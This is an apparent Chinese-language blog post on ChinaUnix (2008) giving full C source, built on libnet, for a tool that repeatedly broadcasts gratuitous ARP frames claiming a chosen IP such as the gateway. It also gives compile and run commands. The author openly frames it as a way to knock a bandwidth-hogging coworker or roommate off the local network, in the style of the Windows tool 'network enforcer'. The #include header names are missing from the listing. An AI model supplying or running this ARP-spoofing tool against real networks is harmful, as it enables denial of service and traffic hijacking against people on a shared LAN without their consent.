Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3408757
  • 博文数量: 534
  • 博客积分: 11595
  • 博客等级: 上将
  • 技术积分: 5785
  • 用 户 组: 普通用户
  • 注册时间: 2006-12-22 17:00
文章分类

全部博文(534)

文章存档

2015年(4)

2014年(27)

2013年(15)

2012年(38)

2011年(36)

2010年(85)

2009年(63)

2008年(142)

2007年(124)

分类: LINUX

2008-01-23 12:52:56

以前读书时代,windows上有个网络软件叫"网络执法官",相信很多朋友都用过,局域网中发现谁在bt,自己网页都打不开,很不爽,直接去跟他说恐怕又得罪人,怎么办,打开网络执法官,简单配置一下,让他上不了网.

当然现在的网络执法官版本功能已经很丰富了,但其原理还是跟以前一样,利用了arp欺骗,填上想要伪造的网关地址,然后网络执法官会在lan内广播免费arp报文,其余机器就出不了外网了.一句话:很强,很暴力!

Linux上实现,需要直接构造arp帧,利用其他技术,非常复杂,而用libnet这个开源库,核心代码只要几十行即可搞定.

大多数linux发行版和其他unix系统都自带了libnet. 看看你的系统中有没有libnet-config这个命令即可知道.
没有的可以到它的主页下载安装:


另外请确认你的系统上的是1.1还是1.0版本,两个版本API很不一样,这里用的是最新的1.1,如果你不是,请升级.

QUOTE:
编译:
gcc garp.c -o garp -lnet



QUOTE:
运行:
-h看命令行,
-f指定出接口,没指定的话会自动选择一个接口,
-t指定免费arp包的发送间隔时间,默认5秒,
例:
./garp -f eth0  192.168.1.1 192.168.2.1



CODE:
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define MAX_IP_NUM 32

static char *pname = "";
static char *ifname = NULL;
static struct in_addr ipaddrs[MAX_IP_NUM];
static int timer = 5;


static int
get_hw_addr(char *dev, unsigned char macbuf[6])
{
        libnet_t *l;
        char errbuf[LIBNET_ERRBUF_SIZE] = "";
        struct libnet_ether_addr *mac;

        l = libnet_init(LIBNET_LINK, dev, errbuf);
        if (!l) {
                fprintf(stderr, "libnet_init: %s\n", errbuf);
                return -1;
        }

        mac = libnet_get_hwaddr(l);
        if (!mac) {
                fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
                libnet_destroy(l);
                return -1;
        }

        memcpy(macbuf, mac->ether_addr_octet, 6);

        libnet_destroy(l);
       
        return 0;
}

static int
send_garp(char *ifname, long ipaddr)
{
        unsigned char bcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
        unsigned char zero_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        unsigned char mymac[6] = {0x00};
        libnet_t *l;
        char        errbuf[LIBNET_ERRBUF_SIZE] = "";
        int i, ret = 0;

        if (get_hw_addr(ifname, mymac) != 0) {
                return -1;
        }

        l = libnet_init(LIBNET_LINK, ifname, errbuf);
        if (!l) {
                fprintf(stderr, "libnet_init: %s\n", errbuf);
                return -1;
        }

        for (i = 0;  i < 2; i++) {
               
                if (libnet_build_arp(ARPHRD_ETHER,        /* hardware address type */
                        ETHERTYPE_IP,        /* protocol address type */
                        6,                /* Hardware address length */
                        4,                /* protocol address length */
                        (i == 0) ? ARPOP_REQUEST : ARPOP_REPLY,        /* ARP operation type */
                        mymac,        /* sender Hardware address */
                        (unsigned char *)&ipaddr,        /* sender protocol address */
                        (i == 0) ? zero_mac : mymac,        /* target hardware address */
                        (unsigned char *)&ipaddr,        /* target protocol address */
                        NULL,                /* Payload */
                        0,                /* Length of payload */
                        l,                /* libnet context pointer */
                        0                /* packet id */
                ) == -1 ) {
                        fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                if (libnet_build_ethernet(bcast_mac, mymac, ETHERTYPE_ARP, NULL, 0,
                        l, 0) == -1 ) {
                        fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                if (libnet_write(l) == -1) {
                        fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                libnet_clear_packet(l);

                if (i == 0) {
                        struct timespec ts;
                        ts.tv_sec = 0;
                        ts.tv_nsec = 500 * 1000 * 1000; /* sleep 500 ms between the two frame. */
                        nanosleep(&ts, NULL);
                }
        }

        libnet_destroy(l);

        return ret;
}

static void
usage(void)
{
        fprintf(stdout, "Usage:\n"
                                "  %s [-h] [-f interface] [-t time] ipaddr1 [ipaddr2 ipaddr3 ...]\n",
                                pname);               
}

int
main(int argc, char *argv[])
{
        int ret, opt, i;
        struct timeval tv;
        int errnum;
       
        pname = strrchr(argv[0], '/');
        if (pname)
                pname++;
        else
                pname = argv[0];

        while ((opt = getopt(argc, argv, "hf:t:")) != -1) {
                switch (opt) {
                        case 'h':
                                usage();
                                exit(0);
                                break;
                        case 'f':
                                ifname = strdup(optarg);
                                if (!ifname) {
                                        fprintf(stderr, "strdup failed.\n");
                                        exit(-1);
                                }
                                break;
                        case 't':
                                timer = atoi(optarg);
                                if (timer <= 0) {
                                        fprintf(stderr, "timer value is invalid.\n");
                                        exit(-1);
                                }
                                break;
                        default:
                                usage();
                                exit(0);
                                break;
               
                }
               
        }

        if (optind >= argc) {
                usage();
                exit(-1);
        }

        i = 0;
        while (optind < argc && i < MAX_IP_NUM) {
                if (inet_aton(argv[optind], &ipaddrs[i]) == 0) {
                        fprintf(stderr, "ip addr error.\n");
                        exit(-1);
                }
                optind++;
                i ++;
        }

        fprintf(stdout, "ifname: %s, timer: %d\n",
                ifname ? ifname : "",
                timer);

        fprintf(stdout, "ip:\n");
        i = 0;
        while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
                fprintf(stdout, "  %s\n", inet_ntoa(ipaddrs[i]));
                i++;
        }

        errnum = 0;
        while (1) {
                tv.tv_sec = timer;
                tv.tv_usec = 0;

                ret = select(0, NULL, NULL, NULL, &tv);
                if (ret < 0) {
                        if (errno == EINTR || errno == EAGAIN)
                                continue;
                        perror("select");
                        exit(-1);
                }

                i = 0;
                while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
                        if (send_garp(ifname, ipaddrs[i].s_addr) < 0)
                                errnum++;
                        i ++;
                }

                if (errnum >= 10)
                        break;
        }

        exit(0);
}
阅读(1673) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~